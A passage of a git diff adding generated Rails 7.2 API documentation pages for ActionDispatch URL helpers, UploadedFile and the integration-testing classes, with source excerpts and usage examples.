# File actionpack/lib/action_dispatch/http/url.rb, line 60
+        def full_url_for(options)
+          host     = options[:host]
+          protocol = options[:protocol]
+          port     = options[:port]
+
+          unless host
+            raise ArgumentError, "Missing host to link to! Please provide the :host parameter, set default_url_options[:host], or set :only_path to true"
+          end
+
+          build_host_url(host, port, protocol, options, path_for(options))
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/url.rb, line 181
+      def initialize
+        super
+        @protocol = nil
+        @port     = nil
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + path_for(options) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/url.rb, line 72
+        def path_for(options)
+          path = options[:script_name].to_s.chomp("/")
+          path << options[:path] if options.key?(:path)
+
+          path = "/" if options[:trailing_slash] && path.blank?
+
+          add_params(path, options[:params]) if options.key?(:params)
+          add_anchor(path, options[:anchor]) if options.key?(:anchor)
+
+          path
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + url_for(options) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/url.rb, line 52
+        def url_for(options)
+          if options[:only_path]
+            path_for options
+          else
+            full_url_for options
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + domain(tld_length = @@tld_length) + +

+ + +
+

Returns the domain part of a host, such as β€œrubyonrails.org” in β€œwww.rubyonrails.org”. You can specify a different tld_length, such as 2 to catch rubyonrails.co.uk in β€œwww.rubyonrails.co.uk”.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/url.rb, line 324
+      def domain(tld_length = @@tld_length)
+        ActionDispatch::Http::URL.extract_domain(host, tld_length)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + host() + +

+ + +
+

Returns the host for this request, such as β€œexample.com”.

+ +
req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com:8080'
+req.host # => "example.com"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/url.rb, line 228
+      def host
+        raw_host_with_port.sub(/:\d+$/, "")
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + host_with_port() + +

+ + +
+

Returns a host:port string for this request, such as β€œexample.com” or β€œexample.com:8080”. Port is only included if it is not a default port (80 or 443)

+ +
req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com'
+req.host_with_port # => "example.com"
+
+req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com:80'
+req.host_with_port # => "example.com"
+
+req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com:8080'
+req.host_with_port # => "example.com:8080"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/url.rb, line 244
+      def host_with_port
+        "#{host}#{port_string}"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + optional_port() + +

+ + +
+

Returns a number port suffix like 8080 if the port number of this request is not the default HTTP port 80 or HTTPS port 443.

+ +
req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com:80'
+req.optional_port # => nil
+
+req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com:8080'
+req.optional_port # => 8080
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/url.rb, line 294
+      def optional_port
+        standard_port? ? nil : port
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + port() + +

+ + +
+

Returns the port number of this request as an integer.

+ +
req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com'
+req.port # => 80
+
+req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com:8080'
+req.port # => 8080
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/url.rb, line 255
+      def port
+        @port ||= if raw_host_with_port =~ /:(\d+)$/
+          $1.to_i
+        else
+          standard_port
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + port_string() + +

+ + +
+

Returns a string port suffix, including colon, like β€œ:8080” if the port number of this request is not the default HTTP port 80 or HTTPS port 443.

+ +
req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com:80'
+req.port_string # => ""
+
+req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com:8080'
+req.port_string # => ":8080"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/url.rb, line 306
+      def port_string
+        standard_port? ? "" : ":#{port}"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + protocol() + +

+ + +
+

Returns β€˜https://’ if this is an SSL request and β€˜http://’ otherwise.

+ +
req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com'
+req.protocol # => "http://"
+
+req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com', 'HTTPS' => 'on'
+req.protocol # => "https://"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/url.rb, line 202
+      def protocol
+        @protocol ||= ssl? ? "https://" : "http://"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + raw_host_with_port() + +

+ + +
+

Returns the host and port for this request, such as β€œexample.com:8080”.

+ +
req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com'
+req.raw_host_with_port # => "example.com"
+
+req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com:80'
+req.raw_host_with_port # => "example.com:80"
+
+req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com:8080'
+req.raw_host_with_port # => "example.com:8080"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/url.rb, line 216
+      def raw_host_with_port
+        if forwarded = x_forwarded_host.presence
+          forwarded.split(/,\s?/).last
+        else
+          get_header("HTTP_HOST") || "#{server_name}:#{get_header('SERVER_PORT')}"
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + server_port() + +

+ + +
+

Returns the requested port, such as 8080, based on SERVER_PORT

+ +
req = ActionDispatch::Request.new 'SERVER_PORT' => '80'
+req.server_port # => 80
+
+req = ActionDispatch::Request.new 'SERVER_PORT' => '8080'
+req.server_port # => 8080
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/url.rb, line 317
+      def server_port
+        get_header("SERVER_PORT").to_i
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + standard_port() + +

+ + +
+

Returns the standard port number for this request’s protocol.

+ +
req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com:8080'
+req.standard_port # => 80
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/url.rb, line 267
+      def standard_port
+        if "https://" == protocol
+          443
+        else
+          80
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + standard_port?() + +

+ + +
+

Returns whether this request is using the standard port

+ +
req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com:80'
+req.standard_port? # => true
+
+req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com:8080'
+req.standard_port? # => false
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/url.rb, line 282
+      def standard_port?
+        port == standard_port
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + subdomain(tld_length = @@tld_length) + +

+ + +
+

Returns all the subdomains as a string, so "dev.www" would be returned for β€œdev.www.rubyonrails.org”. You can specify a different tld_length, such as 2 to catch "www" instead of "www.rubyonrails" in β€œwww.rubyonrails.co.uk”.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/url.rb, line 339
+      def subdomain(tld_length = @@tld_length)
+        ActionDispatch::Http::URL.extract_subdomain(host, tld_length)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + subdomains(tld_length = @@tld_length) + +

+ + +
+

Returns all the subdomains as an array, so ["dev", "www"] would be returned for β€œdev.www.rubyonrails.org”. You can specify a different tld_length, such as 2 to catch ["www"] instead of ["www", "rubyonrails"] in β€œwww.rubyonrails.co.uk”.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/url.rb, line 332
+      def subdomains(tld_length = @@tld_length)
+        ActionDispatch::Http::URL.extract_subdomains(host, tld_length)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + url() + +

+ + +
+

Returns the complete URL used for this request.

+ +
req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com'
+req.url # => "http://example.com"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/url.rb, line 191
+      def url
+        protocol + host_with_port + fullpath
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Http/UploadedFile.html b/src/7.2/classes/ActionDispatch/Http/UploadedFile.html new file mode 100644 index 0000000000..a22e4e0b35 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Http/UploadedFile.html @@ -0,0 +1,469 @@ +--- +title: ActionDispatch::Http::UploadedFile +layout: default +--- +
+ +
+
+ +
+ +

Action Dispatch HTTP UploadedFile

+ +

Models uploaded files.

+ +

The actual file is accessible via the tempfile accessor, though some of its interface is available directly for convenience.

+ +

Uploaded files are temporary files whose lifespan is one request. When the object is finalized Ruby unlinks the file, so there is no need to clean them with a separate maintenance task.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ [RW] + content_type

A string with the MIME type of the file.

+ [RW] + headers

A string with the headers of the multipart request.

+ [RW] + original_filename

The basename of the file in the client.

+ [RW] + tempfile

A Tempfile object with the actual uploaded file. Note that some of its interface is available directly.

+ + + + + +

Instance Public methods

+ +
+

+ + close(unlink_now = false) + +

+ + +
+

Shortcut for tempfile.close.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/upload.rb, line 73
+      def close(unlink_now = false)
+        @tempfile.close(unlink_now)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + eof?() + +

+ + +
+

Shortcut for tempfile.eof?.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/upload.rb, line 98
+      def eof?
+        @tempfile.eof?
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + open() + +

+ + +
+

Shortcut for tempfile.open.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/upload.rb, line 68
+      def open
+        @tempfile.open
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + path() + +

+ + +
+

Shortcut for tempfile.path.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/upload.rb, line 78
+      def path
+        @tempfile.path
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + read(length = nil, buffer = nil) + +

+ + +
+

Shortcut for tempfile.read.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/upload.rb, line 63
+      def read(length = nil, buffer = nil)
+        @tempfile.read(length, buffer)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + rewind() + +

+ + +
+

Shortcut for tempfile.rewind.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/upload.rb, line 88
+      def rewind
+        @tempfile.rewind
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + size() + +

+ + +
+

Shortcut for tempfile.size.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/upload.rb, line 93
+      def size
+        @tempfile.size
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_io() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/upload.rb, line 102
+      def to_io
+        @tempfile.to_io
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_path() + +

+ + +
+

Shortcut for tempfile.to_path.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/upload.rb, line 83
+      def to_path
+        @tempfile.to_path
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Integration.html b/src/7.2/classes/ActionDispatch/Integration.html new file mode 100644 index 0000000000..6f21133c98 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Integration.html @@ -0,0 +1,78 @@ +--- +title: ActionDispatch::Integration +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Integration/RequestHelpers.html b/src/7.2/classes/ActionDispatch/Integration/RequestHelpers.html new file mode 100644 index 0000000000..6f386593d4 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Integration/RequestHelpers.html @@ -0,0 +1,390 @@ +--- +title: ActionDispatch::Integration::RequestHelpers +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + delete(path, **args) + +

+ + +
+

Performs a DELETE request with the given parameters. See ActionDispatch::Integration::Session#process for more details.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/integration.rb, line 42
+      def delete(path, **args)
+        process(:delete, path, **args)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + follow_redirect!(headers: {}, **args) + +

+ + +
+

Follow a single redirect response. If the last response was not a redirect, an exception will be raised. Otherwise, the redirect is performed on the location header. If the redirection is a 307 or 308 redirect, the same HTTP verb will be used when redirecting, otherwise a GET request will be performed. Any arguments are passed to the underlying request.

+ +

The HTTP_REFERER header will be set to the previous url.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/integration.rb, line 65
+      def follow_redirect!(headers: {}, **args)
+        raise "not a redirect! #{status} #{status_message}" unless redirect?
+
+        method =
+          if [307, 308].include?(response.status)
+            request.method.downcase
+          else
+            :get
+          end
+
+        if [ :HTTP_REFERER, "HTTP_REFERER" ].none? { |key| headers.key? key }
+          headers["HTTP_REFERER"] = request.url
+        end
+
+        public_send(method, response.location, headers: headers, **args)
+        status
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + get(path, **args) + +

+ + +
+

Performs a GET request with the given parameters. See ActionDispatch::Integration::Session#process for more details.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/integration.rb, line 18
+      def get(path, **args)
+        process(:get, path, **args)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + head(path, **args) + +

+ + +
+

Performs a HEAD request with the given parameters. See ActionDispatch::Integration::Session#process for more details.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/integration.rb, line 48
+      def head(path, **args)
+        process(:head, path, **args)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + options(path, **args) + +

+ + +
+

Performs an OPTIONS request with the given parameters. See ActionDispatch::Integration::Session#process for more details.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/integration.rb, line 54
+      def options(path, **args)
+        process(:options, path, **args)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + patch(path, **args) + +

+ + +
+

Performs a PATCH request with the given parameters. See ActionDispatch::Integration::Session#process for more details.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/integration.rb, line 30
+      def patch(path, **args)
+        process(:patch, path, **args)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + post(path, **args) + +

+ + +
+

Performs a POST request with the given parameters. See ActionDispatch::Integration::Session#process for more details.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/integration.rb, line 24
+      def post(path, **args)
+        process(:post, path, **args)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + put(path, **args) + +

+ + +
+

Performs a PUT request with the given parameters. See ActionDispatch::Integration::Session#process for more details.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/integration.rb, line 36
+      def put(path, **args)
+        process(:put, path, **args)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Integration/Runner.html b/src/7.2/classes/ActionDispatch/Integration/Runner.html new file mode 100644 index 0000000000..761064a4e1 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Integration/Runner.html @@ -0,0 +1,399 @@ +--- +title: ActionDispatch::Integration::Runner +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + +

Constants

+ + + + + + + + + +
APP_SESSIONS={}
+ + + + +

Attributes

+ + + + + + + + +
+ [R] + app
+ + + + +

Class Public methods

+ +
+

+ + new(*args, &blk) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/integration.rb, line 332
+      def initialize(*args, &blk)
+        super(*args, &blk)
+        @integration_session = nil
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + create_session(app) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/integration.rb, line 352
+      def create_session(app)
+        klass = APP_SESSIONS[app] ||= Class.new(Integration::Session) {
+          # If the app is a Rails app, make url_helpers available on the session. This
+          # makes app.url_for and app.foo_path available in the console.
+          if app.respond_to?(:routes) && app.routes.is_a?(ActionDispatch::Routing::RouteSet)
+            include app.routes.url_helpers
+            include app.routes.mounted_helpers
+          end
+        }
+        klass.new(app)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + default_url_options() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/integration.rb, line 418
+      def default_url_options
+        integration_session.default_url_options
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + default_url_options=(options) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/integration.rb, line 422
+      def default_url_options=(options)
+        integration_session.default_url_options = options
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + integration_session() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/integration.rb, line 342
+      def integration_session
+        @integration_session ||= create_session(app)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + open_session() + +

+ + +
+

Open a new session instance. If a block is given, the new session is yielded to the block before being returned.

+ +
session = open_session do |sess|
+  sess.extend(CustomAssertions)
+end
+
+ +

By default, a single session is automatically created for you, but you can use this method to open multiple sessions that ought to be tested simultaneously.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/integration.rb, line 394
+      def open_session
+        dup.tap do |session|
+          session.reset!
+          session.root_session = self.root_session || self
+          yield session if block_given?
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + reset!() + +

+ + +
+

Reset the current session. This is useful for testing multiple sessions in a single test case.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/integration.rb, line 348
+      def reset!
+        @integration_session = create_session(app)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Integration/Session.html b/src/7.2/classes/ActionDispatch/Integration/Session.html new file mode 100644 index 0000000000..46aac221db --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Integration/Session.html @@ -0,0 +1,627 @@ +--- +title: ActionDispatch::Integration::Session +layout: default +--- +
+ +
+
+ +
+ +

An instance of this class represents a set of requests and responses performed sequentially by a test process. Because you can instantiate multiple sessions and run them side-by-side, you can also mimic (to some limited extent) multiple simultaneous users interacting with your system.

+ +

Typically, you will instantiate a new session using Runner#open_session, rather than instantiating a Session directly.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + +

Constants

+ + + + + + + + + +
DEFAULT_HOST="www.example.com"
+ + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ [RW] + accept

The Accept header to send.

+ [R] + controller

A reference to the controller instance used by the last request.

+ [W] + host
+ [W] + host!
+ [RW] + remote_addr

The remote_addr used in the last request.

+ [R] + request

A reference to the request instance used by the last request.

+ [RW] + request_count

A running counter of the number of requests processed.

+ [R] + response

A reference to the response instance used by the last request.

+ + + + +

Class Public methods

+ +
+

+ + new(app) + +

+ + +
+

Create and initialize a new Session instance.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/integration.rb, line 133
+      def initialize(app)
+        super()
+        @app = app
+
+        reset!
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + cookies() + +

+ + +
+

A map of the cookies returned by the last response, and which will be sent with the next request.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/integration.rb, line 114
+      def cookies
+        _mock_session.cookie_jar
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + host() + +

+ + +
+

The hostname used in the last request.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/integration.rb, line 101
+      def host
+        @host || DEFAULT_HOST
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + https!(flag = true) + +

+ + +
+

Specify whether or not the session should mimic a secure HTTPS request.

+ +
session.https!
+session.https!(false)
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/integration.rb, line 180
+      def https!(flag = true)
+        @https = flag
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + https?() + +

+ + +
+

Returns true if the session is mimicking a secure HTTPS request.

+ +
if session.https?
+  ...
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/integration.rb, line 189
+      def https?
+        @https
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + process(method, path, params: nil, headers: nil, env: nil, xhr: false, as: nil) + +

+ + +
+

Performs the actual request.

+
  • +

    method: The HTTP method (GET, POST, PATCH, PUT, DELETE, HEAD, OPTIONS) as a symbol.

    +
  • +

    path: The URI (as a String) on which you want to perform the request.

    +
  • +

    params: The HTTP parameters that you want to pass. This may be nil, a Hash, or a String that is appropriately encoded (application/x-www-form-urlencoded or multipart/form-data).

    +
  • +

    headers: Additional headers to pass, as a Hash. The headers will be merged into the Rack env hash.

    +
  • +

    env: Additional env to pass, as a Hash. The headers will be merged into the Rack env hash.

    +
  • +

    xhr: Set to true if you want to make an Ajax request. Adds request headers characteristic of XMLHttpRequest e.g. HTTP_X_REQUESTED_WITH. The headers will be merged into the Rack env hash.

    +
  • +

    as: Used for encoding the request with different content type. Supports :json by default and will set the appropriate request headers. The headers will be merged into the Rack env hash.

    +
+ +

This method is rarely used directly. Use RequestHelpers#get, RequestHelpers#post, or other standard HTTP methods in integration tests. #process is only required when using a request method that doesn’t have a method defined in the integration tests.

+ +

This method returns the response status, after performing the request. Furthermore, if this method was called from an ActionDispatch::IntegrationTest object, then that object’s @response instance variable will point to a Response object which one can use to inspect the details of the response.

+ +

Example: process :get, β€˜/author’, params: { since: 201501011400 }

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/integration.rb, line 225
+      def process(method, path, params: nil, headers: nil, env: nil, xhr: false, as: nil)
+        request_encoder = RequestEncoder.encoder(as)
+        headers ||= {}
+
+        if method == :get && as == :json && params
+          headers["X-Http-Method-Override"] = "GET"
+          method = :post
+        end
+
+        if path.include?("://")
+          path = build_expanded_path(path) do |location|
+            https! URI::HTTPS === location if location.scheme
+
+            if url_host = location.host
+              default = Rack::Request::DEFAULT_PORTS[location.scheme]
+              url_host += ":#{location.port}" if default != location.port
+              host! url_host
+            end
+          end
+        end
+
+        hostname, port = host.split(":")
+
+        request_env = {
+          :method => method,
+          :params => request_encoder.encode_params(params),
+
+          "SERVER_NAME"     => hostname,
+          "SERVER_PORT"     => port || (https? ? "443" : "80"),
+          "HTTPS"           => https? ? "on" : "off",
+          "rack.url_scheme" => https? ? "https" : "http",
+
+          "REQUEST_URI"    => path,
+          "HTTP_HOST"      => host,
+          "REMOTE_ADDR"    => remote_addr,
+          "HTTP_ACCEPT"    => request_encoder.accept_header || accept
+        }
+
+        if request_encoder.content_type
+          request_env["CONTENT_TYPE"] = request_encoder.content_type
+        end
+
+        wrapped_headers = Http::Headers.from_hash({})
+        wrapped_headers.merge!(headers) if headers
+
+        if xhr
+          wrapped_headers["HTTP_X_REQUESTED_WITH"] = "XMLHttpRequest"
+          wrapped_headers["HTTP_ACCEPT"] ||= [Mime[:js], Mime[:html], Mime[:xml], "text/xml", "*/*"].join(", ")
+        end
+
+        # This modifies the passed request_env directly.
+        if wrapped_headers.present?
+          Http::Headers.from_hash(request_env).merge!(wrapped_headers)
+        end
+        if env.present?
+          Http::Headers.from_hash(request_env).merge!(env)
+        end
+
+        session = Rack::Test::Session.new(_mock_session)
+
+        # NOTE: rack-test v0.5 doesn't build a default uri correctly Make sure requested
+        # path is always a full URI.
+        session.request(build_full_uri(path, request_env), request_env)
+
+        @request_count += 1
+        @request = ActionDispatch::Request.new(session.last_request.env)
+        response = _mock_session.last_response
+        @response = ActionDispatch::TestResponse.from_response(response)
+        @response.request = @request
+        @html_document = nil
+        @url_options = nil
+
+        @controller = @request.controller_instance
+
+        response.status
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + reset!() + +

+ + +
+

Resets the instance. This can be used to reset the state information in an existing session instance, so it can be used from a clean-slate condition.

+ +
session.reset!
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/integration.rb, line 156
+      def reset!
+        @https = false
+        @controller = @request = @response = nil
+        @_mock_session = nil
+        @request_count = 0
+        @url_options = nil
+
+        self.host        = DEFAULT_HOST
+        self.remote_addr = "127.0.0.1"
+        self.accept      = "text/xml,application/xml,application/xhtml+xml," \
+                           "text/html;q=0.9,text/plain;q=0.8,image/png," \
+                           "*/*;q=0.5"
+
+        unless defined? @named_routes_configured
+          # the helpers are made protected by default--we make them public for easier
+          # access during testing and troubleshooting.
+          @named_routes_configured = true
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + url_options() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/integration.rb, line 140
+      def url_options
+        @url_options ||= default_url_options.dup.tap do |url_options|
+          url_options.reverse_merge!(controller.url_options) if controller.respond_to?(:url_options)
+
+          if @app.respond_to?(:routes)
+            url_options.reverse_merge!(@app.routes.default_url_options)
+          end
+
+          url_options.reverse_merge!(host: host, protocol: https? ? "https" : "http")
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/IntegrationTest.html b/src/7.2/classes/ActionDispatch/IntegrationTest.html new file mode 100644 index 0000000000..343d4153b7 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/IntegrationTest.html @@ -0,0 +1,281 @@ +--- +title: ActionDispatch::IntegrationTest +layout: default +--- +
+ +
+
+ +
+ +

An integration test spans multiple controllers and actions, tying them all together to ensure they work together as expected. It tests more completely than either unit or functional tests do, exercising the entire stack, from the dispatcher to the database.

+ +

At its simplest, you simply extend IntegrationTest and write your tests using the Integration::RequestHelpers#get and/or Integration::RequestHelpers#post methods:

+ +
require "test_helper"
+
+class ExampleTest < ActionDispatch::IntegrationTest
+  fixtures :people
+
+  def test_login
+    # get the login page
+    get "/login"
+    assert_equal 200, status
+
+    # post the login and follow through to the home page
+    post "/login", params: { username: people(:jamis).username,
+      password: people(:jamis).password }
+    follow_redirect!
+    assert_equal 200, status
+    assert_equal "/home", path
+  end
+end
+
+ +

However, you can also have multiple session instances open per test, and even extend those instances with assertions and methods to create a very powerful testing DSL that is specific for your application. You can even reference any named routes you happen to have defined.

+ +
require "test_helper"
+
+class AdvancedTest < ActionDispatch::IntegrationTest
+  fixtures :people, :rooms
+
+  def test_login_and_speak
+    jamis, david = login(:jamis), login(:david)
+    room = rooms(:office)
+
+    jamis.enter(room)
+    jamis.speak(room, "anybody home?")
+
+    david.enter(room)
+    david.speak(room, "hello!")
+  end
+
+  private
+
+    module CustomAssertions
+      def enter(room)
+        # reference a named route, for maximum internal consistency!
+        get(room_url(id: room.id))
+        assert(...)
+        ...
+      end
+
+      def speak(room, message)
+        post "/say/#{room.id}", xhr: true, params: { message: message }
+        assert(...)
+        ...
